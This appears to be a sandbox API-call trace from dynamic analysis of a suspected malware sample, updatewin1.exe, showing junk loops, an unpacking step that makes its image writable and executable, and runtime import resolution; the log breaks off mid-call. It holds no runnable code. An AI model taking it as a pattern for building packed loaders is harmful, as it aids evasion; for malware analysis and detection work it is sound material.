[0050.431] AddAtomA (lpString=0x0) returned 0x0 [0050.431] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.431] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.431] AddAtomA (lpString=0x0) returned 0x0 [0050.431] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.431] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.431] AddAtomA (lpString=0x0) returned 0x0 [0050.431] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.431] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.431] AddAtomA (lpString=0x0) returned 0x0 [0050.431] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.431] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.431] AddAtomA (lpString=0x0) returned 0x0 [0050.431] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.431] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.431] AddAtomA (lpString=0x0) returned 0x0 [0050.431] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.431] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.431] AddAtomA (lpString=0x0) returned 0x0 [0050.431] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.431] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.431] AddAtomA (lpString=0x0) returned 0x0 [0050.431] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.431] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.431] AddAtomA (lpString=0x0) returned 0x0 [0050.431] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.431] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.431] AddAtomA (lpString=0x0) returned 0x0 [0050.431] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.431] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.431] AddAtomA (lpString=0x0) returned 0x0 [0050.432] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.432] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.432] AddAtomA (lpString=0x0) returned 0x0 [0050.432] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.432] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.432] AddAtomA (lpString=0x0) returned 0x0 [0050.432] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.432] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.432] AddAtomA (lpString=0x0) returned 0x0 [0050.432] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.432] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.432] AddAtomA (lpString=0x0) returned 0x0 [0050.432] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.432] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.432] AddAtomA (lpString=0x0) returned 0x0 [0050.432] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.432] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.432] AddAtomA (lpString=0x0) returned 0x0 [0050.432] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.432] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.432] AddAtomA (lpString=0x0) returned 0x0 [0050.432] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.432] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.432] AddAtomA (lpString=0x0) returned 0x0 [0050.432] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.432] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.432] AddAtomA (lpString=0x0) returned 0x0 [0050.432] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.432] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.432] AddAtomA (lpString=0x0) returned 0x0 [0050.432] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.432] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.432] AddAtomA (lpString=0x0) returned 0x0 [0050.432] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.433] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.433] AddAtomA (lpString=0x0) returned 0x0 [0050.433] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.433] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.464] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0050.464] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0050.464] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0050.464] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0050.464] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0050.464] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0050.464] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0050.464] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0050.464] SetErrorMode (uMode=0x400) returned 0x0 [0050.464] SetErrorMode (uMode=0x0) returned 0x400 [0050.464] GetVersionExA (in: lpVersionInformation=0x18e550*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18e550*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0050.464] VirtualAlloc (lpAddress=0x0, dwSize=0x2d200, flAllocationType=0x1000, flProtect=0x4) returned 0x2a0000 [0050.467] VirtualProtect (in: lpAddress=0x400000, dwSize=0x32000, flNewProtect=0x40, lpflOldProtect=0x18f5d8 | out: lpflOldProtect=0x18f5d8*=0x2) returned 1 [0050.544] VirtualFree (lpAddress=0x2a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0050.545] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0050.545] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileA") returned 0x76c353c6 [0050.545] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0050.545] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0050.545] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0050.545] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessA") returned 0x76c31072 [0050.545] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyW") returned 0x76c53102 [0050.545] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0050.545] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0050.545] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0050.546] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0050.546] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0050.546] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0050.546] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0050.546] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0050.546] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0050.546] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0050.546] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileA") returned 0x76c35444 [0050.546] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0050.546] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0050.546] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0050.546] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0050.546] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0050.546] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0050.546] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0050.546] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatA") returned 0x76c52b7a [0050.547] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyA") returned 0x76c52a9d [0050.547] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableA") returned 0x76c333a0 [0050.547] GetProcAddress (hModule=0x76c20000, lpProcName="GetShortPathNameA") returned 0x76c5594d [0050.547] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0050.547] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0050.547] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0050.547] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0050.547] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0050.547] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineA") returned 0x76c351a1 [0050.547] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0050.547] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0050.547] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0050.547] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0050.547] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0050.547] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0050.547] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0050.548] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0050.548] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0050.548] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0050.548] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0050.548] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0050.548] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeSListHead") returned 0x771694a4 [0050.548] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0050.548] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0050.548] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0050.548] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0050.548] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0050.548] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0050.548] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0050.548] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0050.548] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0050.548] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0050.549] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0050.549] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0050.549] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0050.549] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0050.549] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0050.549] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0050.549] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0050.549] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0050.549] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0050.549] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0050.549] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0050.550] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0050.550] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0050.550] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0050.550] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0050.550] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0050.550] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileExW") returned 0x76c41811 [0050.550] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0050.550] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0050.550] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d40000 [0050.550] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0050.550] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0050.550] GetProcAddress (hModule=0x74d40000, lpProcName="RegCreateKeyExW") returned 0x74d540fe [0050.550] GetProcAddress (hModule=0x74d40000, lpProcName="SetSecurityDescriptorDacl") returned 0x74d5415e [0050.550] GetProcAddress (hModule=0x74d40000, lpProcName="InitializeSecurityDescriptor") returned 0x74d54620 [0050.550] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0050.550] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0050.551] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0050.551] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0050.551] GetProcAddress (hModule=0x75fd0000, lpProcName="CommandLineToArgvW") returned 0x75fe9ee8 [0050.551] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0050.551] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0050.551] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsA") returned 0x7537ad1a [0050.551] GetProcAddress (hModule=0x75340000, lpProcName="PathRemoveFileSpecW") returned 0x75353248 [0050.551] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749c0000 [0050.556] GetProcAddress (hModule=0x749c0000, lpProcName="atexit") returned 0x749dc544 [0050.556] atexit (param_1=0x4e63d8) returned 0 [0050.556] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f5dc | out: lpSystemTimeAsFileTime=0x18f5dc*(dwLowDateTime=0xaa95fdf0, dwHighDateTime=0x1d53993)) [0050.556] GetCurrentThreadId () returned 0xb08 [0050.556] GetCurrentProcessId () returned 0xb04 [0050.556] QueryPerformanceCounter (in: lpPerformanceCount=0x18f5d4 | out: lpPerformanceCount=0x18f5d4*=17081934470) returned 1 [0050.556] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0050.557] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0050.557] GetLastError () returned 0x57 [0050.557] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0050.557] GetLastError () returned 0x57 [0050.557] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0050.557] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0050.557] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0050.557] GetLastError () returned 0x57 [0050.557] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0050.557] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0050.557] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0050.557] GetLastError () returned 0x57 [0050.557] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0050.557] GetLastError () returned 0x57 [0050.557] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0050.557] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0050.558] GetProcessHeap () returned 0x4d0000 [0050.558] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0050.558] GetLastError () returned 0x57 [0050.558] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0050.558] GetLastError () returned 0x57 [0050.558] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0050.558] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0050.558] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x364) returned 0x4fa9e8 [0050.558] SetLastError (dwErrCode=0x57) [0050.558] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0xc00) returned 0x4fad58 [0050.559] GetStartupInfoW (in: lpStartupInfo=0x18f510 | out: lpStartupInfo=0x18f510*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4033b0, hStdOutput=0x5130c3c6, hStdError=0xfffffffe)) [0050.559] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0050.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0050.559] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0050.559] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe\" " [0050.559] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe\" " [0050.559] GetACP () returned 0x4e4 [0050.560] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x0, Size=0x220) returned 0x4f9ea8 [0050.560] IsValidCodePage (CodePage=0x4e4) returned 1 [0050.560] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f530 | out: lpCPInfo=0x18f530) returned 1 [0050.560] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18edf8 | out: lpCPInfo=0x18edf8) returned 1 [0050.560] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0050.560] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb98, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0050.560] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18ee0c | out: lpCharType=0x18ee0c) returned 1 [0050.560] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0050.560] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb48, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā") returned 256 [0050.560] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0050.560] GetLastError () returned 0x57 [0050.560] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0050.560] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0050.560] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā", cchSrc=256, lpDestStr=0x18e938, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0050.560] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18f30c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 